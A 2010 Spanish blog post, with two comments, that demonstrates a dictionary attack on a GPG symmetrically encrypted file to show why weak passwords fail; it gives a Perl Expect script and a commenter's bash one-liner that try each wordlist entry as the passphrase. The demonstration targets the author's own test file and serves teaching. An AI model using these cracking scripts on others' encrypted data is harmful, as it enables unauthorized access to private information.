martes, marzo 09, 2010

Ataque por diccionario en Perl

En la charleta que tuve que dar el otro día quería que la gente supiera lo importante que es elegir bien una contraseña. Sobre todo cuando no hay posibilidad de bloquear el acceso después de un número determinado de intentos.

Este es el caso de un envío de datos encriptados. Una vez que el envio ha sido interceptado el atacante tiene todo el tiempo de mundo para probar contraseñas.

Les enseñé este bonito sitio con diccionarios. Da igual lo original que pretendas ser que siempre habrá un diccionario temático preparado:

Descargué unos cuantos diccionarios y los junté:

cat actores_cine_usa.txt > diccionario.txt
cat numeros.txt >> diccionario.txt

Tuve que cambiar los caracteres windows de la forma que expliqué el otro día.

Luego preparo un fichero datos.txt que encripto con clave simétrica utilizando GPG:

gpg --symmetric datos.txt

Le pongo como password aitoreus.

Y este es el programita Perl que preparé...

La ejecución es algo así... hasta que encuentra la password que descifra.


use Expect;
$fichPalabras="diccionario.txt";
open(FICH, $fichPalabras) or die ("Error al abrir el fichero de palabras.\n");
while($palabra=){
$comando="gpg --decrypt datos.txt.gpg";
my $exp = Expect->spawn($comando, @params)
or die "No puede ejecutar $comando: $!\n";
$exp->expect(1);
$exp->send("$palabra\n");
$exp->expect(1);
$read = $exp->before();
if ($read!~/failed/){
print("Encontrado. La password es $palabra\n");
$exp->soft_close();
exit;
}
$exp->hard_close();
};
print("Esta vez no ha habido suerte\n");
$exp->soft_close();

Sobre el Expect:

Al ser el GPG un programa interactivo (que en su ejecución espera que tecleemos algo), no se puede ejecutar y pasarle como parámetro la contraseña (vaya, lo que son las cosas, ahora tengo mis dudas. Mañana confirmo o desmiento).

Suponiendo que era un programa interactivo, lo que hice fue bajarme el módulo Expect que me permite ejecutar en modo batch un programa interactivo. Expect te permite esperar una pregunta del programa y mandarle tu propia respuesta, pero todo automatizado claro.

Me bajé el Expect-1.21.tar.gz de CPAN y por un tema de dependencias también tuve que bajarme el módulo IO-Tty-1.03.tar.gz.

Mañana hablaré un poco más de Expect y sus aplicaciones.

Saludos.

2 comentarios:

Nemo dijo...

Si que admite la passphrase por linea de comandos (aunque para el uso "normal" es una muy mala idea.)

En versión one-liner guarra de bash y sin expect:

while read secret; do gpg --decrypt --no-use-agent --passphrase $secret datos.txt.gpg 1>> /dev/null 2>&1 ; if [ $? -eq 0 ]; then echo "Yeeeha, secret=" $secret; fi done < diccionario.txt

Mikelats dijo...

eh Nemo, muy buena y elegante la versión bash.

Desde luego, si se puede hacer con el sistema "pelado", y en una línea, es mejor que utilizar un interprete extra y programación estructurada.

Además, la versión con Expect no funciona si no se fuerza un retardo, porque termina volviendose loco.

Saludos.